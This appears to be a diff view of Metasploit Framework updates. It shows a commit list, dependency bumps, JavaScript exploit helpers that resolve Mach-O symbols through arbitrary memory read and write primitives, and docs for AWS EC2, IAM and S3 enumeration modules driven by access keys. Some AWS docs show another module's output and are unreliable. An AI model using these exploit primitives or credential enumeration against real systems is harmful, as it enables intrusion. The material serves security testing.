Shelby Pace 5253d34dd3 Update modules/exploits/linux/http/librenms_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-05-29 18:00:07 -05:00
Shelby Pace 34528b1512 Update modules/exploits/linux/http/librenms_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-05-29 17:59:55 -05:00
Shelby Pace bd0109b328 add documentation 2019-05-29 15:51:53 -05:00
Shelby Pace fa1ce20e74 add note 2019-05-29 15:50:31 -05:00
Shelby Pace de081a08cd add working exploit 2019-05-29 15:09:23 -05:00
Jacob Robles 87e9fddd2f CMD Target Update
Generic payload auto-disables the handler so we don't have
to handle that now. Also, remove datastore modifications
in the module.
2019-05-29 13:09:21 -05:00
Shelby Pace 6279136359 adding and deleting devices 2019-05-28 15:12:35 -05:00
NoodleOfDeath 2a5233156f Updated wordlists to match generated script provided on https://github.com/rapid7/metasploit-framework/pull/11862 2019-05-28 12:02:03 -04:00
ssyy201506 ecda8d864a Fix incorrect parsing of IPv6 uri. 2019-05-28 16:41:34 +09:00
Matt Robinson 26eebb9620 Fix multi handler reverse_http to not care so much about the workspace. 2019-05-25 16:25:06 -04:00
NoodleOfDeath 7bd9608d5e Removed extraneous newline ending in wp-plugins.txt 2019-05-24 17:50:33 -04:00
NoodleOfDeath d4e79cffe7 added wp-themes wordlist to reflect https://themes.svn.wordpress.org/ 2019-05-24 17:40:37 -04:00
NoodleOfDeath 9f3e4e0b65 modified wordlist to reflect https://plugins.svn.wordpress.org/ 2019-05-24 17:37:02 -04:00
Shelby Pace e16d144723 added base of module 2019-05-24 16:20:44 -05:00
rwincey 99f3f6cb78 Added x64 arch and fixed exe gen 2019-05-20 23:45:26 -04:00
NoodleOfDeath 5f889919b4 Added a wordlist of 1491 WordPress plugins that can be enumerated in the wp/wp-content/plugins directory 2019-05-20 14:30:02 -04:00
rwincey 7c30422166 Documentation 2019-05-16 00:02:37 -04:00
rwincey 1c05958892 Exploit 2019-05-15 23:36:57 -04:00
Tim W abbefab5c0 add meterpreter mouse command 2019-05-13 17:06:03 +08:00
Tim W 7ec67fb91f add meterpreter keyboard_send command 2019-05-11 16:49:01 +08:00
bigendiansmalls 3289d89836 Added Extended passive mode to the core ftp module.
Extended passive mode (EPSV), as documented in RFC2428
is similar to the PASSive mode in that it requests that
the server open a port and wait for a data connection.
However, in unlike PASSive mode, Extended Passive mode
returns only the port on which the server listens for
the data connection, not the IP + Port.  The client is
expected to use the existing IP (e.g. the one it used to
create the initial control channel connection) to connect
to the new data port.

Where this becomes important is if the server is behind
some type of natting device, EPSV will work in this case,
PASS may not.
2019-04-30 12:41:11 -05:00
Pedro Ribeiro dfb0c8edf2 Merge pull request #7 from rapid7/master
bbbb
2019-02-24 22:27:43 +07:00
Pedro Ribeiro 26f2b61612 Merge pull request #5 from rapid7/master
aaa
2019-02-20 23:38:44 +07:00
Pedro Ribeiro 291320ea8c Merge pull request #4 from rapid7/master
merge
2019-01-30 22:05:11 +07:00
Tim W 17ffd83374 only upload screenshot dll on windows 2018-09-04 00:36:30 +08:00
231 changed files with 139445 additions and 4836 deletions
-7
View File
@@ -11,8 +11,6 @@ addons:
- graphviz
language: ruby
rvm:
- '2.3.8'
- '2.4.5'
- '2.5.5'
- '2.6.2'
@@ -25,11 +23,6 @@ env:
matrix:
fast_finish: true
exclude:
- rvm: '2.3.8'
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
- rvm: '2.4.5'
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
jobs:
# build docker image
+69 -19
View File
@@ -1,10 +1,13 @@
PATH
remote: .
specs:
metasploit-framework (5.0.26)
metasploit-framework (5.0.34)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
backports
bcrypt
bcrypt_pbkdf
@@ -21,9 +24,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.66)
metasploit-payloads (= 1.3.70)
metasploit_data_models (= 3.0.10)
metasploit_payloads-mettle (= 0.5.13)
metasploit_payloads-mettle (= 0.5.16)
mqtt
msgpack
nessus_rest
@@ -109,10 +112,32 @@ GEM
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
arel-helpers (2.9.1)
activerecord (>= 3.1.0, < 7)
aws-eventstream (1.0.3)
aws-partitions (1.180.0)
aws-sdk-core (3.56.0)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.96.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.26.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.22.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.43.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.1.0)
aws-eventstream (~> 1.0, >= 1.0.2)
backports (3.15.0)
bcrypt (3.1.12)
bcrypt (3.1.13)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bit-struct (0.16)
@@ -125,7 +150,7 @@ GEM
diff-lcs (1.3)
dnsruby (1.61.2)
addressable (~> 2.5)
docile (1.3.1)
docile (1.3.2)
ed25519 (1.2.4)
em-http-request (1.1.5)
addressable (>= 2.3.4)
@@ -135,6 +160,7 @@ GEM
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
equatable (0.6.1)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (5.0.2)
@@ -142,8 +168,13 @@ GEM
factory_bot_rails (5.0.2)
factory_bot (~> 5.0.2)
railties (>= 4.2.0)
faker (1.9.3)
faker (1.9.4)
i18n (>= 0.7)
pastel (~> 0.7.2)
thor (~> 0.20.0)
tty-pager (~> 0.12.0)
tty-screen (~> 0.6.5)
tty-tree (~> 0.3.0)
faraday (0.15.4)
multipart-post (>= 1.2, < 3)
filesize (0.2.0)
@@ -152,6 +183,7 @@ GEM
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
json (2.2.0)
@@ -177,7 +209,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.66)
metasploit-payloads (1.3.70)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -188,12 +220,12 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.13)
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.11.3)
mqtt (0.5.0)
msgpack (1.2.10)
msgpack (1.3.0)
multipart-post (2.1.1)
nessus_rest (0.1.6)
net-ssh (5.2.0)
@@ -207,6 +239,9 @@ GEM
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
pastel (0.7.3)
equatable (~> 0.6)
tty-color (~> 0.5)
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.0)
@@ -224,7 +259,7 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.1.0)
public_suffix (3.1.1)
rack (1.6.11)
rack-protection (1.5.5)
rack
@@ -261,7 +296,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.20)
rex-exploitation (0.1.21)
jsobfu
metasm
rex-arch
@@ -284,7 +319,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.17)
rex-socket (0.1.18)
rex-core
rex-sslscan (0.1.5)
rex-core
@@ -299,12 +334,12 @@ GEM
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-core (3.8.1)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.3)
rspec-expectations (3.8.4)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)
rspec-mocks (3.8.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.2)
@@ -317,10 +352,10 @@ GEM
rspec-support (~> 3.8.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.0)
rspec-support (3.8.2)
ruby-macho (2.2.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.5)
ruby_smb (1.1.0)
bindata
rubyntlm
windows_error
@@ -340,6 +375,11 @@ GEM
tilt (>= 1.3, < 3)
sqlite3 (1.3.13)
sshkey (2.0.0)
strings (0.1.5)
strings-ansi (~> 0.1)
unicode-display_width (~> 1.5)
unicode_utils (~> 1.4)
strings-ansi (0.1.0)
swagger-blocks (2.0.2)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
@@ -350,10 +390,20 @@ GEM
tilt (2.0.9)
timecop (0.9.1)
ttfunk (1.5.1)
tty-color (0.5.0)
tty-pager (0.12.1)
strings (~> 0.1.4)
tty-screen (~> 0.6)
tty-which (~> 0.4)
tty-screen (0.6.5)
tty-tree (0.3.0)
tty-which (0.4.1)
tzinfo (1.2.5)
thread_safe (~> 0.1)
tzinfo-data (1.2019.1)
tzinfo (>= 1.0.0)
unicode-display_width (1.6.0)
unicode_utils (1.4.0)
warden (1.2.7)
rack (>= 1.0)
windows_error (0.1.2)
+36 -16
View File
@@ -8,9 +8,17 @@ activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.8.0, MIT
arel-helpers, 2.9.1, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.180.0, "Apache 2.0"
aws-sdk-core, 3.56.0, "Apache 2.0"
aws-sdk-ec2, 1.96.0, "Apache 2.0"
aws-sdk-iam, 1.26.0, "Apache 2.0"
aws-sdk-kms, 1.22.0, "Apache 2.0"
aws-sdk-s3, 1.43.0, "Apache 2.0"
aws-sigv4, 1.1.0, "Apache 2.0"
backports, 3.15.0, MIT
bcrypt, 3.1.12, MIT
bcrypt, 3.1.13, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bit-struct, 0.16, ruby
@@ -23,37 +31,39 @@ crass, 1.0.4, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.2, "Apache 2.0"
docile, 1.3.1, MIT
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
equatable, 0.6.1, MIT
erubis, 2.7.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.0.2, MIT
factory_bot_rails, 5.0.2, MIT
faker, 1.9.3, MIT
faker, 1.9.4, MIT
faraday, 0.15.4, MIT
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.2.0, ruby
loofah, 2.2.3, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.26, "New BSD"
metasploit-framework, 5.0.34, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.66, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.13, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.2.10, "Apache 2.0"
msgpack, 1.3.0, "Apache 2.0"
multipart-post, 2.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.2.0, MIT
@@ -64,6 +74,7 @@ octokit, 4.14.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
pastel, 0.7.3, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.0, MIT
@@ -71,7 +82,7 @@ pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.1.0, MIT
public_suffix, 3.1.1, MIT
rack, 1.6.11, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
@@ -87,7 +98,7 @@ rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.20, "New BSD"
rex-exploitation, 0.1.21, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
@@ -96,22 +107,22 @@ rex-powershell, 0.1.82, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.17, "New BSD"
rex-socket, 0.1.18, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.21, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.0, MIT
rspec-expectations, 3.8.3, MIT
rspec-mocks, 3.8.0, MIT
rspec-core, 3.8.1, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
rspec-rails, 3.8.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.0, MIT
rspec-support, 3.8.2, MIT
ruby-macho, 2.2.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.0.5, "New BSD"
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.3, "Simplified BSD"
sawyer, 0.8.2, MIT
@@ -120,6 +131,8 @@ simplecov-html, 0.10.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
strings, 0.1.5, MIT
strings-ansi, 0.1.0, MIT
swagger-blocks, 2.0.2, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 0.20.3, MIT
@@ -127,8 +140,15 @@ thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.9, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tty-color, 0.5.0, MIT
tty-pager, 0.12.1, MIT
tty-screen, 0.6.5, MIT
tty-tree, 0.3.0, MIT
tty-which, 0.4.1, MIT
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2019.1, MIT
unicode-display_width, 1.6.0, MIT
unicode_utils, 1.4.0, unknown
warden, 1.2.7, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
+12
View File
@@ -22,6 +22,18 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError => e
Binary file not shown.
Binary file not shown.
+12
View File
@@ -79,6 +79,18 @@ function Int64(v) {
return '0x' + hexlify(Array.from(bytes).reverse());
};
this.lo = function()
{
var b = this.bytes();
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
};
this.hi = function()
{
var b = this.bytes();
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
+133
View File
@@ -46,6 +46,139 @@ function hexdump(data) {
return lines.join('\n');
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function b2u32(b)
{
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
}
function off2addr(segs, off)
{
if(!(off instanceof Int64)) off = new Int64(off);
for(var i = 0; i < segs.length; ++i)
{
var start = segs[i].fileoff;
var end = Add(start, segs[i].size);
if
(
(start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
(end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
)
{
return Add(segs[i].addr, Sub(off, start));
}
}
return new Int64("0x4141414141414141");
}
function fsyms(mem, base, segs, want, syms)
{
want = Array.from(want); // copy
if(syms === undefined)
{
syms = {};
}
var stab = null;
var ncmds = mem.u32(Add(base, 0x10));
for(var i = 0, off = 0x20; i < ncmds; ++i)
{
var cmd = mem.u32(Add(base, off));
if(cmd == 0x2) // LC_SYMTAB
{
var b = mem.read(Add(base, off + 0x8), 0x10);
stab =
{
symoff: b2u32(b.slice(0x0, 0x4)),
nsyms: b2u32(b.slice(0x4, 0x8)),
stroff: b2u32(b.slice(0x8, 0xc)),
strsize: b2u32(b.slice(0xc, 0x10)),
};
break;
}
off += mem.u32(Add(base, off + 0x4));
}
if(stab == null)
{
fail("stab");
}
var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
var fn = function(i)
{
return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
};
for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
{
tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
for(var j = 0; j < want.length; ++j)
{
var s = want[j];
if((strcmp(fn, s)))
{
syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
want.splice(j, 1);
break;
}
}
}
return syms;
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function _u32(i)
{
return b2u32(this.read(i, 4));
}
function _read(i, l)
{
if (i instanceof Int64) i = i.lo();
if (l instanceof Int64) l = l.lo();
if (i + l > this.length)
{
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
}
return this.slice(i, i + l);
}
function _readInt64(addr)
{
return new Int64(this.read(addr, 8));
}
function _writeInt64(i, val)
{
if (i instanceof Int64) i = i.lo();
this.set(val.bytes(), i);
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+16256 -3929
View File
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,34 @@
## Vulnerable Application
This module is able to extract a zip file sent through Modbus from a pcap.
Tested with Schneider TM221CE16R
## Verification Steps
1. Do: `use auxiliary/analyze/modbus_zip`
2. Do: `set PCAPFILE <PATH_TO_PCAP>` where PATH_TO_PCAP is the PATH to the pcap file
3. Do: `exploit` extract the zip file
## Options
**MODE**
Default: UPLOAD. Changes offset within a packet that is used to check for a zip header.
## Scenarios
```
msf > use auxiliary/analyze/modbus_zip
msf auxiliary(analyze/modbus_zip) > set PCAPFILE file.pcap
PCAPFILE => file.pcap
auxiliary(analyze/modbus_zip) > set MODE DOWNLOAD
MODE => DOWNLOAD
msf auxiliary(analyze/modbus_zip) > exploit
[*] Running module against 0.0.0.0
[*] Zip start on packet 1370
[*] Zip end on packet 1452
[*] Done!
[*] Auxiliary module execution completed
```
@@ -0,0 +1,117 @@
## Vulnerable Application
Amazon Web Services (AWS) resources can be managed through an API that authenticates based on an `ACCESS_KEY_ID` and a `SECRET_ACCESS_KEY`. With these two pieces of information, an attacker can gain privileges which may include enumerating resources within the AWS account.
This module authenticates to AWS EC2 (Elastic Compute Cloud) to identify compute instances that the credentials can see. The instances themselves may be connected to the public Internet, but are likely to be protected by security groups and subnet network ACLs. In any case, knowledge of the instances is the first step in evaluating their security.
## Verification Steps
### Create or acquire the credentials
1. (If necessary) Create an AWS account. Free trials are available.
2. Login to the [AWS Console](https:\\console.aws.amazon.com\).
3. Use the dropbown menu in the top-right with your username, then click on "My Security Credentials".
4. Expand the "Access Keys" pane and click "Create New Access Key".
5. Follow the steps in the AWS console, making sure to record both the 'access key ID' and 'secret access key'. (The 'secret access key' is only shown once, then can never be retrieved.)
### Enumerate AWS resources using the credentials
1. Start msfconsole
2. `use auxiliary/cloud/aws/enum_ec2`
3. Set the `ACCESS_KEY_ID` and `SECRET_ACCESS_KEY` options.
4. Optionally, set the `REGION` and `LIMIT` options.
5. `run`
## Options
**ACCESS_KEY_ID**
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF\2dq3SbDsQj4jdyOMOv`.
## Scenarios
### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges
```
msf5 auxiliary(cloud/aws/enum_iam) > run
[+] Found 3 users.
[+] User Name: test1
[+] User ID: AIDA5C76TR3KTTO3PTAJ7
[+] Creation Date: 2019-06-14 18:18:23 UTC
[+] Tags: []
[+] Groups: []
[+] SSH Pub Keys: []
[+] Policies: IAMUserChangePassword
[+] Signing certs: []
[+] Password Used: 2019-06-17 19:55:57 UTC
[+] AWS Access Keys: AKIA5C76TR3K3JN3FYUE (Active)
[+] Console login: Enabled
[+] Two-factor auth: Enabled on 2019-06-17 20:01:05 UTC
[*]
[+] User Name: test2
[+] User ID: AIDA5C76TR3KVHWFEQSDL
[+] Creation Date: 2019-06-14 18:18:35 UTC
[+] Tags: []
[+] Groups: ["mygroup", "mygroup2"]
[+] SSH Pub Keys: []
[+] Policies: IAMUserChangePassword
[+] Signing certs: []
[+] Password Used: (Never)
[+] AWS Access Keys: AKIA5C76TR3KXHXA5CRC (Inactive)
[+] Console login: Enabled
[+] Two-factor auth: Disabled
[*]
[+] User Name: test3
[+] User ID: AIDA5C76TR3KYI2HC4MOL
[+] Creation Date: 2019-06-14 18:18:44 UTC
[+] Tags: []
[+] Groups: ["mygroup"]
[+] SSH Pub Keys: []
[+] Policies: []
[+] Signing certs: []
[+] Password Used: (Never)
[+] AWS Access Keys: AKIA5C76TR3KWWADYZNB (Active)
[+] Console login: Disabled
[+] Two-factor auth: Disabled
[*]
[*] Auxiliary module execution completed
```
### Provided an invalid or inactive 'access key ID'
```
msf5 auxiliary(cloud/aws/enum_iam) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The security token included in the request is invalid.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_iam) >
```
### Provided an invalid 'secret access key'
```
msf5 auxiliary(cloud/aws/enum_iam) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The request signature we calculated does not match the signature you provided. Check your AWS Secret Access Key and signing method. Consult the service documentation for details.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_iam) >
```
### Provided an 'access key ID' or 'secret access key' with insufficient privileges
```
msf5 auxiliary(cloud\aws\enum_ec2) > run
[-] Auxiliary aborted due to failure: unexpected-reply: User: arn:aws:iam::899712345657:user/test1 is not authorized to perform: iam:ListUsers on resource: arn:aws:iam::899712345657:user/
[*] Auxiliary module execution completed
msf5 auxiliary(cloud\aws\enum_ec2) >
```
@@ -0,0 +1,102 @@
## Vulnerable Application
Amazon Web Services (AWS) resources can be managed through an API that authenticates based on an `ACCESS_KEY_ID` and a `SECRET_ACCESS_KEY`. With these two pieces of information, an attacker can gain privileges which may include enumerating resources within the AWS account.
This module authenticates to AWS IAM (Identify Access Module) to identify user accounts that the credentials can see. The users themselves are likely protected with different credentials, including passwords or MFA tokens. In any case, knowledge of the users is the first step in evaluating their security.
## Verification Steps
### Create or acquire the credentials
1. (If necessary) Create an AWS account. Free trials are available.
2. Login to the [AWS Console](https:\\console.aws.amazon.com\).
3. Use the dropbown menu in the top-right with your username, then click on "My Security Credentials".
4. Expand the "Access Keys" pane and click "Create New Access Key".
5. Follow the steps in the AWS console, making sure to record both the 'access key ID' and 'secret access key'. (The 'secret access key' is only shown once, then can never be retrieved.)
### Enumerate AWS resources using the credentials
1. Start msfconsole
2. `use auxiliary/cloud/aws/enum_iam`
3. Set the `ACCESS_KEY_ID` and `SECRET_ACCESS_KEY` options.
4. `run`
## Options
**ACCESS_KEY_ID**
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF\2dq3SbDsQj4jdyOMOv`.
**REGION**
AWS resources are located in regions. Optionally, this module's output can be filtered based on region to minimize the query to AWS. Alternatively, `REGION` can be left blank, such that all regions will be checked.
An example region would be `us-west-2`.
**LIMIT**
Some AWS API calls support limiting output, such that the module will only reutrn the number of instances, without detailing the configuration of each instance. Optionally, this module's output can be filtered to minimize the query to AWS and the user output. Alternatively, `LIMIT` can be left blank, such that all EC2 instances will be detailed.
Note that the `LIMIT` parameter is imposed per region, so the total number of results may be higher than the user-specified limit, but the maximum number of results for a single region will not exceed `LIMIT`. This behavior is due to the AWS API.
An example `LIMIT` would be `10`.
## Scenarios
### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges
```
msf5 auxiliary(cloud/aws/enum_ec2) > run
[*] Found 0 instances in eu-north-1
[*] Found 0 instances in ap-south-1
[*] Found 0 instances in eu-west-3
[*] Found 0 instances in eu-west-2
[*] Found 0 instances in eu-west-1
[*] Found 0 instances in ap-northeast-2
[*] Found 0 instances in ap-northeast-1
[*] Found 0 instances in sa-east-1
[*] Found 0 instances in ca-central-1
[*] Found 0 instances in ap-southeast-1
[*] Found 0 instances in ap-southeast-2
[*] Found 0 instances in eu-central-1
[*] Found 0 instances in us-east-1
[*] Found 0 instances in us-east-2
[*] Found 0 instances in us-west-1
[*] Found 1 instances in us-west-2
[+] i-0f8bb3bbb06faf58d (running)
[+] Creation Date: 2019-06-11 23:14:48 UTC
[+] Public IP: 18.236.87.255 (ec2-18-236-87-255.us-west-2.compute.amazonaws.com)
[+] Private IP: 18.236.87.255 (ip-172-31-30-21.us-west-2.compute.internal)
[+] Security Group: sg-0d52cc35aaf82aff5
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_ec2) >
```
### Provided an invalid or inactive 'access key ID', or an invalid 'secret access key'
```
msf5 auxiliary(cloud\aws\enum_ec2) > run
[-] Auxiliary aborted due to failure: unexpected-reply: AWS was not able to validate the provided access credentials
[*] Auxiliary module execution completed
msf5 auxiliary(cloud\aws\enum_ec2) >
```
### Provided an 'access key ID' or 'secret access key' with insufficient privileges
```
msf5 auxiliary(cloud\aws\enum_ec2) > run
[-] Auxiliary aborted due to failure: unexpected-reply: You are not authorized to perform this operation.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud\aws\enum_ec2) >
```
@@ -0,0 +1,95 @@
## Vulnerable Application
Amazon Web Services (AWS) resources can be managed through an API that authenticates based on an `ACCESS_KEY_ID` and a `SECRET_ACCESS_KEY`. With these two pieces of information, an attacker can gain privileges which may include enumerating resources within the AWS account.
This module authenticates to AWS S3 (Simple Storage Service), to identify buckets that the credentials can see. The files contained within buckets may be publicly readable and/or writable, or they may be locked down. In any case, knowledge of the buckets is the first step in evaluating their security.
## Verification Steps
### Create or acquire the credentials
1. (If necessary) Create an AWS account. Free trials are available.
2. Login to the [AWS Console](https://console.aws.amazon.com/).
3. Use the dropbown menu in the top-right with your username, then click on "My Security Credentials".
4. Expand the "Access Keys" pane and click "Create New Access Key".
5. Follow the steps in the AWS console, making sure to record both the 'access key ID' and 'secret access key'. (The 'secret access key' is only shown once, then can never be retrieved.)
### Enumerate AWS resources using the credentials
1. Start msfconsole
2. `use auxiliary/cloud/aws/enum_s3`
3. Set the `ACCESS_KEY_ID` and `SECRET_ACCESS_KEY` options.
4. Optionally, set the `REGION` option.
5. `run`
## Options
**ACCESS_KEY_ID**
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
